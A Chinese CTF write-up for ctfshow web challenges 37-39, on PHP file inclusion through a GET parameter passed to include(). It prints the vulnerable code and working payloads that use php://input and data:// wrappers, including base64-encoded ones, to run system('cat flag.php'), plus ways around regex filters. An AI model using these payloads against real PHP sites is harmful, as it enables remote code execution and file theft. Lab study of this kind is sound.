首页 > 其他分享 >ctfshow web入门 命令执行 37-39

ctfshow web入门 命令执行 37-39

时间:2023-02-28 21:22:52浏览次数:47  
标签:__ web 39 include GET 37 flag php data

37-39 基于 GET 传参的 include()

38、39 是 37 的变种

分析

  伪协议常用于文件包含漏洞中

  文件包含函数有:include、include_once、require、require_once、

          highlight_fire、show_source、

          fire_get_contents、fopen、file、readfire

 

web37

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    } 
}else{
    highlight_file(__FILE__);
}

ctf中常用 php://filter 与 php://input ,但由于flag被屏蔽,这里使用php://input

payload

法一 
使用 php://input 伪协议
get   c=php://input
post   <?=system('cat flag.php')?>
 


法二 
使用 data:// 伪协议
c=data://text/plain,<?php system("tac fl*g.php");?>  //对 flag 进行通配符匹配
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg== //使用base64对 <?php system('cat flag.php')?> 进行编码

 

 web38

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    }    
}else{
    highlight_file(__FILE__);
}

在 web37 的基础上屏蔽 php、file

payload

//使用 data:// 伪协议
变一
使用 base64 编码
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==   

变二
利用php短标签替换长标签,通配符代替 php
c=data://text/plain,<?=system('cat f*')?>

 

web39

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
}else{
    highlight_file(__FILE__);
}

在 web37 的基础上拼接 .php,想达到屏蔽 .php 的效果,但在实际情况下根本没有达到预期的效果

原因

  代码

 

输出结果

 

 

又或者

 

 

 结果还是一致

 说明,使用字符拼接时,会先进行计算

验证猜想

发现一个bug,这里对 $q-$w 取绝对值,并无视了后续内容

 

 

 对后面部分加上括号,结果正常

 

 

 添加字母,为了更好的区分,这里很明显,对 $q-$w 取绝对值, '    T'.$q+$w 内容不显示

 

 

 

加上括号正常显示,对于这个意外的情况,我暂时解释不了

 

 

 

 

 对于我们的题目是先进行赋值,在进行字符拼接,因此和 web37 并无二异,payload 与 web37 一致

c=data://text/plain,<?php system("cat fl*g.php");?> 
include($c.".php");

 

 

参考

https://blog.csdn.net/m0_51507437/article/details/122777966

标签:__,web,39,include,GET,37,flag,php,data
From: https://www.cnblogs.com/IFS-/p/17133170.html

相关文章

  • JAVAWEB学习-session-用session实现获取用户姓名
    继续学习session的有关知识,实现获取用户姓名session的作用是可以实现不同的页面保存共享同一个数据,在许多方面十分有用我们实现一个获取用户姓名的功能就用之前增删改......
  • JAVAWEB学习-session-用session实现禁止用户非法访问页面
    今天学习了JAVAWEB中session的有关知识,能够实现禁止用户非法访问页面.session可以理解为一个表,每条数据有两个属性,String和Object,即名称和内容session的作用是可以实......
  • websocketpp中心跳函数使用记录
    依赖的开源库:WebSocket++|ZaphoydStudiosserver发送pingclient响应pong问题:通过set_ping_handler注册on_ping函数后,发送一次心跳,却收到两次pong;分析:抓包分析客户......
  • 安装guardian报错perl Can't locate getopts.pl in @INC
    在配guardian时遇到的查看源文件发现是这样一句话require'getopts.pl';可是在程序的文件夹下没有这个脚本,并且运行脚本会报错,因为从perl5.16版本开始,这个功能就集成......
  • 397. 整数替换 (Medium
    问题描述397.整数替换(Medium)给定一个正整数n,你可以做如下操作:如果n是偶数,则用n/2替换n。如果n是奇数,则可以用n+1或n-1替换n。返回n变为......
  • 1139. 最大的以 1 为边界的正方形 (Medium)
    问题描述1139.最大的以1为边界的正方形(Medium)给你一个由若干0和1组成的二维网格grid,请你找出边界全部由1组成的最大正方形子网格,并返回该子网格中的元素......
  • 轮询、长轮询、长连接、websocket
    前言Web端即时通讯技术:即时通讯技术简单的说就是实现这样一种功能:服务器端可以即时地将数据的更新或变化反应到客户端,例如消息即时推送等功能都是通过这种技术实现的。但......
  • JavaWeb中的Servlet
    Servlet目录Servlet一、互联网中的资源二、Servlet2.1、Servlet的作用2.2、Servlet执行流程2.3、Servlet生命周期2.4、Servlet的继承体系由来一:GenericServlet二:HttpServl......
  • Vue项目中通过 avatarUrl: require('@/assets/user-avatar.png')出现required is not
    参考:https://blog.csdn.net/qq_37130872/article/details/128133646useImages.js//获取assets静态图片exportconstgetAssetsImge=(name)=>{returnne......
  • 单兵 Web 快速开发框架!
    Jmix是低代码?自从Jmix2018年在中国推广以来(那时叫CUBA平台),很多开发者会在使用之前询问我们,Jmix是不是低代码,扩展性怎么样?低代码应用程序平台(LCAP)是当今最流行的企......